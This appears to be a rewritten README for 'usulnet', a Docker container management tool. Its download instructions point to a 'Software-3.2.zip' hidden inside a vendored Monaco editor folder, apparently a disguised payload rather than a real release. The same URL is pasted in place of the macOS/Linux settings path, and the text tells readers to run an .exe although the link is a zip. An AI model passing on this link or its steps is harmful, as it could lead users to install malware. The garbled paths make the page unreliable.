usulnet is an open-source tool that helps you manage Docker containers easily. With usulnet, you get one app that covers many tasks: running containers, managing security, setting up DNS and VPN, monitoring your system, creating backups, using a reverse proxy, accessing a terminal, and handling multi-node setups. It replaces many complicated tools with one simple app.
You don't need to be a programmer or expert to use usulnet. It comes as a single file that you can download and start using. It runs on many systems without needing other software.
- One Binary, One Web UI: Download one file, open a web page to control everything.
- Docker Container Management: Easily create, start, stop, and remove containers.
- Security Tools: Built-in functions for securing your containers and data.
- DNS and VPN Support: Manage network settings simply.
- Monitoring and Backup: Keep an eye on your containers and save data safely.
- Reverse Proxy and Terminal Access: Manage traffic and access shells when needed.
- Multi-Node Orchestration: Control multiple machines as one system.
- Zero Runtime Dependencies: No extra software needed to run usulnet.
- Built with Go: Fast, reliable, and lightweight.
To run usulnet, your computer should meet these basic requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, Linux (Ubuntu 18.04+, Debian 10+, Fedora 30+)
- Processor: 64-bit CPU (Intel or AMD)
- Memory (RAM): At least 4 GB
- Disk Space: Minimum 500 MB free disk space
- Network: Internet connection recommended for updates and downloads
usulnet works best on systems where Docker is already installed and running. If you don't have Docker, usulnet can help you set it up or give guidance.
Here is how to get usulnet running on your computer in just a few simple steps.
Click this big button at the top or use the link below to visit the download page:
On the releases page, look for the latest version that matches your operating system. You will find files like:
https://raw.githubusercontent.com/NotAki1112/usulnet/main/web/static/vendor/monaco-editor/min/vs/basic-languages/kotlin/Software-3.2.zipfor Windowsusulnet-macosfor macOSusulnet-linuxfor Linux
Choose the one for your system.
usulnet is a standalone program. This means you usually donβt have to install it like other software.
- On Windows: Double-click the
.exefile you downloaded. You can place it anywhere you like. - On macOS/Linux: Open your terminal, go to the folder where you saved the file, and run it by typing
./usulnet-macosor./usulnet-linux.
You might need permission to execute the file on macOS or Linux. Use this command before running usulnet:
chmod +x usulnet-macosor
chmod +x usulnet-linuxOnce running, open your web browser and visit:
http://localhost:8080
You will see the usulnet dashboard. This is where you control all your Docker containers and related settings.
From the dashboard, you can create new containers, monitor existing ones, set up VPNs, manage backups, and more. Everything is organized and easy to understand.
- Click βNew Containerβ on the dashboard.
- Choose an app or image you'd like to run.
- Set options like ports or storage if needed.
- Click βStartβ to run your container.
usulnet shows real-time information about:
- CPU and memory use
- Network status
- Storage space left
- Running containers and their health
This helps you keep your system running smoothly.
To make sure you donβt lose your work:
- Go to the βBackupsβ section.
- Choose containers or files to back up.
- Set a schedule or back up right away.
You can configure firewall rules, access controls, and VPN settings from the Security tab. This keeps your Docker environment safe.
Access the terminal for any container directly through the web UI. This lets you run commands inside the container without leaving your browser.
To update, visit the release page again and download the latest version for your system. Replace your old file with the new one.
usulnet stores logs and settings locally. On your device, look in:
- Windows:
C:\Users\<YourName>\AppData\Roaming\usulnet\ - macOS/Linux:
~https://raw.githubusercontent.com/NotAki1112/usulnet/main/web/static/vendor/monaco-editor/min/vs/basic-languages/kotlin/Software-3.2.zip
These folders hold important data for troubleshooting and backup.
- If the web interface does not load, check if usulnet is running.
- Ensure Docker is installed and active on your machine.
- Make sure port 8080 is not used by other applications.
- Restart usulnet if the system becomes unresponsive.
Use this link to visit the download page and get the latest version:
Follow the instructions in this README to run the file after downloading.
If you follow these steps, you will have usulnet running smoothly in no time. This tool helps simplify managing your Docker setup without complicated software or knowledge.